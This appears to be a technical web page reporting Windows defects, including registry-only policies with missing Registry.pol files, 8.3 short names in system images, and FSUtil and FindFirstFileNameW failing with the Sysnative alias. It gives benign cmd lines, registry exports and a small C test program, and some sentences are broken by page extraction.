For example, to insert the euro currency symbol €, type 20AC, and then hold down the ALT key and press X.
 Create the text file blunder.txt with the following
            content in an arbitrary, preferable empty directory:
        
24
a9
ae
3b1
3c9
20ac
2122
2190
2191
2192
2193
2194 Open the text file blunder.txt created in step 1.
            with
            WordPad.exe, then
            place the cursor at the end of each line and press the
            Alt X
            key combination twice – first it replaces the
            2, 3 or 4 characters left to the cursor with the $, ©, ®,
            α, ω, €, ™, ←, ↑, →, ↓
            respectively ↔ symbol, second it replaces each symbol with its
            (uppercase) hexadecimal
            Unicode
            character code.
        
 Despite this well-known rule, Microsoft but ships the
            system images of Windows Vista and later versions with
            a bunch of Policies set only in the
            Registry
            – the subdirectories
            %SystemRoot%\System32\GroupPolicy\Machine\ and
            %SystemRoot%\System32\GroupPolicy\User\ with the
            registry policy files Registry.pol where these registry
            entries are supposed to be stored are missing!
        
 Due to this omission blunder the
            Local Group Policy Editor and the
            Local Security Policy snap-in of
            the Microsoft Management Console show
            these Policies as not configured!
        
 Also missing are the archive
 files NTUser.pol in
            the directories %ALLUSERSPROFILE%\ alias
            %ProgramData%\ for the machine and
            %USERPROFILE%\ for each user where the added as well as
            the original, now overwritten or removed registry entries are
            supposed to be saved for restoration and roll-back.
        
The MSDN article Registry Policy File Format provides some details.
Note: Windows 10 20H2 was used here.
 Start the Command Processor
            Cmd.exe, then execute
            the following command lines to export the registry keys
            HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies
            and HKEY_CURRENT_USER\Software\Policies of an arbitrary
            user account and display them:
        
REG.EXE EXPORT "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies" blunder.reg TYPE blunder.reg REG.EXE EXPORT "HKEY_CURRENT_USER\Software\Policies" blunder.reg /Y TYPE blunder.regNote: the command lines can be copied and pasted as block into a Command Processor window.
The operation completed successfully.
Windows Registry Editor Version 5.00
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies]
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]
"NoDriveTypeAutoRun"=dword:00000091
The operation completed successfully.
Windows Registry Editor Version 5.00
[HKEY_CURRENT_USER\Software\Policies]
[HKEY_CURRENT_USER\Software\Policies\Microsoft]
[HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates]
[HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA]
[HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA\Certificates]
[HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA\CRLs]
[HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA\CTLs]
[HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\Disallowed]
[HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates]
[HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs]
[HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs]
[HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\trust]
[HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\trust\Certificates]
[HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\trust\CRLs]
[HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\trust\CTLs]
[HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates]
[HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs]
[HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs]
[HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows]
[HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\CloudContent]
[HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\CurrentVersion]
[HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings]
[HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\5.0]
[HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache]
[HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Cache]
[HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\DataCollection]
[HKEY_CURRENT_USER\Software\Policies\Power]
[HKEY_CURRENT_USER\Software\Policies\Power\PowerSettings]
         Export the respective registry keys of the builtin
            NT AUTHORITY\SYSTEM alias
            LocalSystem
            user account and display them:
        
REG.EXE EXPORT "HKEY_USERS\S-1-5-18\Software\Policies" blunder.reg /Y TYPE blunder.reg
The operation completed successfully. Windows Registry Editor Version 5.00 [HKEY_USERS\S-1-5-18\Software\Policies] [HKEY_USERS\S-1-5-18\Software\Policies\Microsoft] [HKEY_USERS\S-1-5-18\Software\Policies\Microsoft\SystemCertificates] [HKEY_USERS\S-1-5-18\Software\Policies\Microsoft\SystemCertificates\CA] [HKEY_USERS\S-1-5-18\Software\Policies\Microsoft\SystemCertificates\CA\Certificates] [HKEY_USERS\S-1-5-18\Software\Policies\Microsoft\SystemCertificates\CA\CRLs] [HKEY_USERS\S-1-5-18\Software\Policies\Microsoft\SystemCertificates\CA\CTLs] [HKEY_USERS\S-1-5-18\Software\Policies\Microsoft\SystemCertificates\Disallowed] [HKEY_USERS\S-1-5-18\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates] [HKEY_USERS\S-1-5-18\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs] [HKEY_USERS\S-1-5-18\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs] [HKEY_USERS\S-1-5-18\Software\Policies\Microsoft\SystemCertificates\trust] [HKEY_USERS\S-1-5-18\Software\Policies\Microsoft\SystemCertificates\trust\Certificates] [HKEY_USERS\S-1-5-18\Software\Policies\Microsoft\SystemCertificates\trust\CRLs] [HKEY_USERS\S-1-5-18\Software\Policies\Microsoft\SystemCertificates\trust\CTLs] [HKEY_USERS\S-1-5-18\Software\Policies\Microsoft\SystemCertificates\TrustedPeople] [HKEY_USERS\S-1-5-18\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates] [HKEY_USERS\S-1-5-18\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs] [HKEY_USERS\S-1-5-18\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs]
 Export the respective registry keys of the
            NT AUTHORITY\LOCAL SERVICE alias
            LocalService,
            user account and display them:
        
REG.EXE EXPORT "HKEY_USERS\S-1-5-19\Software\Policies" blunder.reg /Y TYPE blunder.regNote: this operation requires administrative access rights!
The operation completed successfully. Windows Registry Editor Version 5.00 [HKEY_USERS\S-1-5-19\Software\Policies] [HKEY_USERS\S-1-5-19\Software\Policies\Microsoft] [HKEY_USERS\S-1-5-19\Software\Policies\Microsoft\Windows] [HKEY_USERS\S-1-5-19\Software\Policies\Microsoft\Windows\CurrentVersion] [HKEY_USERS\S-1-5-19\Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings] [HKEY_USERS\S-1-5-19\Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\5.0] [HKEY_USERS\S-1-5-19\Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache] [HKEY_USERS\S-1-5-19\Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Cache] [HKEY_USERS\S-1-5-19\Software\Policies\Power] [HKEY_USERS\S-1-5-19\Software\Policies\Power\PowerSettings]
 Export the respective registry keys of the
            NT AUTHORITY\NETWORK SERVICE alias
            NetworkService,
            user account and display them:
        
REG.EXE EXPORT "HKEY_USERS\S-1-5-20\Software\Policies" blunder.reg /Y TYPE blunder.regNote: this operation requires administrative access rights!
The operation completed successfully. Windows Registry Editor Version 5.00 [HKEY_USERS\S-1-5-20\Software\Policies] [HKEY_USERS\S-1-5-20\Software\Policies\Microsoft] [HKEY_USERS\S-1-5-20\Software\Policies\Microsoft\SystemCertificates] [HKEY_USERS\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA] [HKEY_USERS\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA\Certificates] [HKEY_USERS\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA\CRLs] [HKEY_USERS\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA\CTLs] [HKEY_USERS\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed] [HKEY_USERS\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates] [HKEY_USERS\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs] [HKEY_USERS\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs] [HKEY_USERS\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust] [HKEY_USERS\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust\Certificates] [HKEY_USERS\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust\CRLs] [HKEY_USERS\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust\CTLs] [HKEY_USERS\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\TrustedPeople] [HKEY_USERS\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates] [HKEY_USERS\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs] [HKEY_USERS\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs] [HKEY_USERS\S-1-5-20\Software\Policies\Microsoft\Windows] [HKEY_USERS\S-1-5-20\Software\Policies\Microsoft\Windows\CurrentVersion] [HKEY_USERS\S-1-5-20\Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings] [HKEY_USERS\S-1-5-20\Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\5.0] [HKEY_USERS\S-1-5-20\Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache] [HKEY_USERS\S-1-5-20\Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Cache] [HKEY_USERS\S-1-5-20\Software\Policies\Power] [HKEY_USERS\S-1-5-20\Software\Policies\Power\PowerSettings]
 Export the registry keys
            HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies
            and HKEY_LOCAL_MACHINE\SOFTWARE\Policies of the
            machine and display them:
        
REG.EXE EXPORT "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies" blunder.reg /Y TYPE blunder.reg REG.EXE EXPORT "HKEY_LOCAL_MACHINE\SOFTWARE\Policies" blunder.reg /Y TYPE blunder.reg
The operation completed successfully. Windows Registry Editor Version 5.00 [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies] [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\ActiveDesktop] "NoAddingComponents"=dword:00000001 "NoComponents"=dword:00000001 [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Attachments] "ScanWithAntiVirus"=dword:00000003 [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\DataCollection] [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\DataCollection\Users] [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer] "ForceActiveDesktopOn"=dword:00000000 "NoActiveDesktop"=dword:00000001 "NoActiveDesktopChanges"=dword:00000001 "NoRecentDocsHistory"=dword:00000000 [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Ext] [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Ext\CLSID] "{1FD49718-1D00-4B19-AF5F-070AF6D5D54C}"="1" [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\NonEnum] "{0DF44EAA-FF21-4412-828E-260A8728E7F1}"=dword:00000020 "{6DFD7C5C-2451-11d3-A299-00C04F8EF6AF}"=dword:40000021 "{BDEADF00-C265-11D0-BCED-00A0C90AB50F}"=dword:00000001 [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Servicing] "CountryCode"="EN" [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System] "ConsentPromptBehaviorAdmin"=dword:00000005 "ConsentPromptBehaviorUser"=dword:00000003 "DSCAutomationHostEnabled"=dword:00000002 "EnableCursorSuppression"=dword:00000001 "EnableFullTrustStartupTasks"=dword:00000002 "EnableInstallerDetection"=dword:00000001 "EnableLUA"=dword:00000001 "EnableSecureUIAPaths"=dword:00000001 "EnableUIADesktopToggle"=dword:00000000 "EnableUwpStartupTasks"=dword:00000002 "EnableVirtualization"=dword:00000001 "PromptOnSecureDesktop"=dword:00000001 "SupportFullTrustStartupTasks"=dword:00000001 "SupportUwpStartupTasks"=dword:00000001 "ValidateAdminCodeSignatures"=dword:00000000 "dontdisplaylastusername"=dword:00000000 "legalnoticecaption"="" "legalnoticetext"="" "scforceoption"=dword:00000000 "shutdownwithoutlogon"=dword:00000001 "undockwithoutlogon"=dword:00000001 [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System] [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\Audit] [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\UIPI] [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\UIPI\Clipboard] [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\UIPI\Clipboard\ExceptionFormats] "CF_BITMAP"=dword:00000002 "CF_DIB"=dword:00000008 "CF_DIBV5"=dword:00000011 "CF_OEMTEXT"=dword:00000007 "CF_PALETTE"=dword:00000009 "CF_TEXT"=dword:00000001 "CF_UNICODETEXT"=dword:0000000d The operation completed successfully. Windows Registry Editor Version 5.00 [HKEY_LOCAL_MACHINE\SOFTWARE\Policies] [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft] [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Cryptography] [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Cryptography\Configuration] [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Cryptography\Configuration\SSL] [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Cryptography\Configuration\SSL\00010002] [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Peernet] "Disabled"=dword:00000000 [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\SystemCertificates] [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\SystemCertificates\CA] [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\Certificates] [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CRLs] [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CTLs] [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed] [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\Certificates] [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CRLs] [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CTLs] [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\SystemCertificates\Root] [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\SystemCertificates\Root\Certificates] [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\SystemCertificates\Root\CRLs] [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\SystemCertificates\Root\CTLs] [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\SystemCertificates\trust] [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\Certificates] [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CRLs] [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CTLs] [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople] [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates] [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs] [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs] [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\TPM] "OSManagedAuthLevel"=dword:00000005 [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows] [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Appx] [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\BITS] [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion] [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings] "CallLegacyWCMPolicies"=dword:00000000 [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Cache] [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\DataCollection] [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\DriverSearching] "DriverUpdateWizardWuSearchEnabled"=dword:00000001 [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\EnhancedStorageDevices] "TCGSecurityActivationDisabled"=dword:00000000 [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\IPSec] [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\IPSec\Policy] [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Network Connections] "NC_PersonalFirewallConfig"=dword:00000000 [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\NetworkConnectivityStatusIndicator] @="" [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\NetworkProvider] [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\NetworkProvider\HardenedPaths] [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\safer] [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\safer\codeidentifiers] "authenticodeenabled"=dword:00000000 [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\SettingSync] "EnableBackupForWin8Apps"=dword:00000001 [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\System] [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WcmSvc] [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WcmSvc\GroupPolicy] [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WcmSvc\Local] "WCMPresent"=dword:00000001 [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WorkplaceJoin] @="" [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WSDAPI] [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WSDAPI\Discovery Proxies] [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Advanced Threat Protection] [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Policy Manager] [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT] [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services] [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services\Client] "fEnableUsbBlockDeviceBySetupClass"=dword:00000001 "fEnableUsbNoAckIsochWriteToDevice"=dword:00000050 "fEnableUsbSelectDeviceByInterface"=dword:00000001 [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services\Client\UsbBlockDeviceBySetupClasses] "1000"="{3376f4ce-ff8d-40a2-a80f-bb4359d1415c}" [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services\Client\UsbSelectDeviceByInterfaces] "1000"="{6bdd1fc6-810f-11d0-bec7-08002be2092f}" [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\Windows File Protection] "KnownDllList"="nlhtml.dll"
Windows supports long file names up to 255 characters in length. Windows also generates an MS-DOS-compatible (short) file name in 8.3 format to allow MS-DOS-based or 16-bit Windows-based programs to access the files.The MSKB article 896458 states:
The x64-based versions of Windows don't support 16-bit programs, 16-bit processes, or 16-bit components.121007 210638 226403 Windows components installed on demand Microsoft but ships the installation media for
shortfile names in the system images!
 Note: the installation media of
            Windows 7 have no 8.3 alias
            short
 file names in their system images – disabling 8.3
            file name generation on the target drive before running the setup
            program is therefore sufficient to perform a clean
            installation!
        
shortfile and directory names on a current, preferable fresh installation of Windows 10 or Windows 11.
 Start the Command Processor
            Cmd.exe, then execute
            the following command lines:
        
VER 1>blunder.log ( FOR /D /R "%SystemDrive%\" %? IN (*) DO @IF NOT "%~nx?" == "%~snx?" ECHO "%~dp?%~snx?" ) FIND.EXE /C /V "" blunder.log 1>blunder.txt ( FOR /R "%SystemDrive%\" %? IN (*) DO @IF NOT "%~nx?" == "%~snx?" ECHO "%~dp?%~snx?" ) FIND.EXE /C /V "" blunder.txtNote: the command lines can be copied and pasted as block into a Command Processor window.
 Caveat: the command lines miss hidden
            directories and files as well as directories and files with short
            name equal to their long name!
        
 Caveat: unless run under the
            NT AUTHORITY\SYSTEM alias
            LocalSystem
            user account or with the
            SeBackupPrivilege
            alias
            SE_BACKUP_NAME
            privilege
            enabled, these command lines also miss subdirectories and files in
            all directories without List Directory
            access permission for the current user account!
        
Microsoft Windows [Version 10.0.26100.1742] ---------- blunder.log: 16034 ---------- blunder.txt: 55140
 Start the Command Processor
            Cmd.exe with
            administrative access rights, then repeat the previous step:
        
Microsoft Windows [Version 10.0.26100.1742] ---------- blunder.log: 18206 ---------- blunder.txt: 66172
Finally execute the following command line:
FSUTIL.EXE 8dot3name scan /l "%TMP%\blunder.log" /s "%SystemDrive%\\"
Scanning registry... Total affected registry keys: 222 Scanning 8dot3 names... Total files and directories scanned: 148550 Total 8dot3 names found: 84138 Total 8dot3 names stripped: 0 For details on the operations performed please see the log: "C:\Users\ADMINI~1\AppData\Local\Temp\blunder.log"Note: all (here 222) enumerated registry keys (really: registry entries) are false positives –
FSUtil.exe
            (really: its most obviously incompetent developer) considers file
            names like $WINDOWS.~BT and
            Clipchamp.Clipchamp_3.0.10220.0_neutral_~_yxz26nhyzhsrt
            just due to the ~ to be short!
32-bit applications can access the native system directory by substituting %windir%\Sysnative for %windir%\System32. WOW64 recognizes Sysnative as a special alias used to indicate that the file system should not redirect the access. This mechanism is flexible and easy to use, therefore, it is the recommended mechanism to bypass file system redirection. Note that 64-bit applications cannot use the Sysnative alias as it is a virtual directory not a real one.
FSUtil.exe console application to enumerate
            hardlinks of files residing in the native system directory.
         Start the Command Processor
            Cmd.exe with
            administrative access rights, then execute the following single
            command line:
        
IF EXIST "%SystemRoot%\SysWoW64\FSUtil.exe" "%SystemRoot%\SysWoW64\FSUtil.exe" HARDLINK LIST "%SystemRoot%\Sysnative\FSUtil.exe"
Error:  The parameter is incorrect.
            OUCH: the File System Utilityhas one job, but fails to interact with the File System Redirector!
 The documentation for the Win32 function
            FindFirstFileNameW()
            states:
        
Creates an enumeration of all the hard links to the specified file. The FindFirstFileNameW function returns a handle to the enumeration that can be used on subsequent calls to the FindNextFileNameW function.OOPS: in the 64-bit environment,[…]
If the function succeeds, the return value is a search handle that can be used with the FindNextFileNameW function or closed with the FindClose function.
If the function fails, the return value is INVALID_HANDLE_VALUE (0xffffffff). To get extended error information, call the GetLastError function.
INVALID_HANDLE_VALUE is but defined as
            0xFFFFFFFFFFFFFFFF alias -1LL or ~0ULL!
         Create the text file blunder.c with the following
            content in an arbitrary, preferable empty directory:
        
// Copyleft © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#ifdef _WIN64
#error Must be built as 32-bit console application!
#endif
#define BLUNDER L"\\Sysnative\\NTDLL.dll"
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
__declspec(noreturn)
VOID	CDECL	wmainCRTStartup(VOID)
{
	DWORD	dwError = ERROR_NOT_SUPPORTED;
	DWORD	dwBlunder;
	WCHAR	szBlunder[MAX_PATH];
	BOOL	bBlunder;
	HANDLE	hBlunder = GetCurrentProcess();
	if (!IsWow64Process(hBlunder, &bBlunder))
		dwError = GetLastError();
	else
		if (bBlunder)
		{
			dwBlunder = GetSystemWindowsDirectory(szBlunder,
			                                      sizeof(szBlunder) / sizeof(*szBlunder));
			if (dwBlunder == 0UL)
				dwError = GetLastError();
			else
			{
				memcpy(szBlunder + dwBlunder, BLUNDER, sizeof(BLUNDER));
				dwBlunder = sizeof(szBlunder) / sizeof(*szBlunder);
				hBlunder = FindFirstFileNameW(szBlunder, 0UL, &dwBlunder, szBlunder);
				if (hBlunder == INVALID_HANDLE_VALUE)
					dwError = GetLastError();
				else
				{
					do
						dwBlunder = sizeof(szBlunder) / sizeof(*szBlunder);
					while (FindNextFileNameW(hBlunder, &dwBlunder, szBlunder));
					dwError = GetLastError();
					if (dwError == ERROR_HANDLE_EOF)
						dwError = ERROR_SUCCESS;
					if (!FindClose(hBlunder))
						dwError = GetLastError();
				}
			}
		}
	ExitProcess(dwError);
} Compile and link the source file blunder.c created in
            step 1. for the 32-bit execution environment:
        
SET CL=/GF /Oi /W4 /Zl SET LINK=/ENTRY:wmainCRTStartup /MACHINE:I386 /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE blunder.c kernel32.lib user32.libNote: the command lines can be copied and pasted as block into a Command Processor window.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /MACHINE:I386 /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib user32.lib
 Execute the console application blunder.exe built in
            step 2. and evaluate its exit code
        
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
0x57 (WIN32: 87 ERROR_INVALID_PARAMETER) -- 87 (87) Error message text: The parameter is incorrect. CertUtil: -error command completed successfully.OUCH: the Win32 function
FindFirstFileNameW()
            fails to support the virtual directory name Sysnative
            required on 64-bit systems to access the system directoryfrom 32-bit applications!
SYMPTOMSThe MSDN article Registry Redirector specifies:When a 32-bit application is writing the %ProgramFiles% registry value on a computer that is running a 64-bit version of Windows Vista, Windows Vista automatically changes this string to %ProgramFiles(x86)%. This behavior cannot be changed.
This behavior also occurs in the 64-bit versions of Windows Server 2003 and of Windows XP.
CAUSE
This behavior occurs because %ProgramFiles% is a keyword for translation from a 64-bit operation to a 32-bit operation. This behavior enables a 32-bit application to work correctly with the %ProgramFiles% registry value when the application reads the %ProgramFiles% registry value later.
To help 32-bit applications that write REG_SZ or REG_EXPAND_SZ data containing %ProgramFiles% or %commonprogramfiles% to the registry, WOW64 intercepts these write operations and replaces them with "%ProgramFiles(x86)%" and "%commonprogramfiles(x86)%". For example, if the Program Files directory is on the C drive, then "%ProgramFiles(x86)%" expands to "C:\Program Files (x86)". The replacement occurs only if the following conditions are met:Note: this feature is superfluous – while (expanded) path names beginning withWindows Server 2008, Windows Vista, Windows Server 2003 and Windows XP: The KEY_WOW_64_64KEY flag does not affect whether a key is replaced. This flag affects replacement starting with Windows 7 and Windows Server 2008 R2.
- The string must begin with %ProgramFiles% or %commonprogramfiles%. If the string begins with a space or any character other than %, it is not replaced.
- The case of %ProgramFiles% or %commonprogramfiles% must be exactly as shown because the string comparison is case-sensitive. For example, if the string begins with %CommonProgramFiles% instead of %commonprogramfiles%, it is not replaced.
- The string cannot exceed MAX_PATH*2+15 characters. If it exceeds this length, it is not replaced.
- The key cannot be opened with KEY_WOW64_64KEY. This flag specifies that operations on the key should be performed on the 64-bit registry view, so it is not replaced. For more information, see Accessing an Alternate Registry View.
In addition, REG_SZ or REG_EXPAND_SZ keys containing system32 are replaced with syswow64. The string must begin with the path pointing to or under %windir%\system32. The string comparison is not case-sensitive. Environment variables are expanded before matching the path, so all of the following paths are replaced: %windir%\system32, %SystemRoot%\system32, and C:\windows\system32. This patch is applied only to the keys that were reflected prior to Windows 7.
For more information, see the following topics:
C:\Windows\System32 are subject to
            file system redirection,
            applications which expand strings containing
            %ProgramFiles% and %CommonProgramFiles%
            via the (case-insensitive) Win32 functions
            ExpandEnvironmentStrings()
            and
            ExpandEnvironmentStringsForUser()
            get the proper replacement strings for their execution environment!
            WOW64 Implementation Details
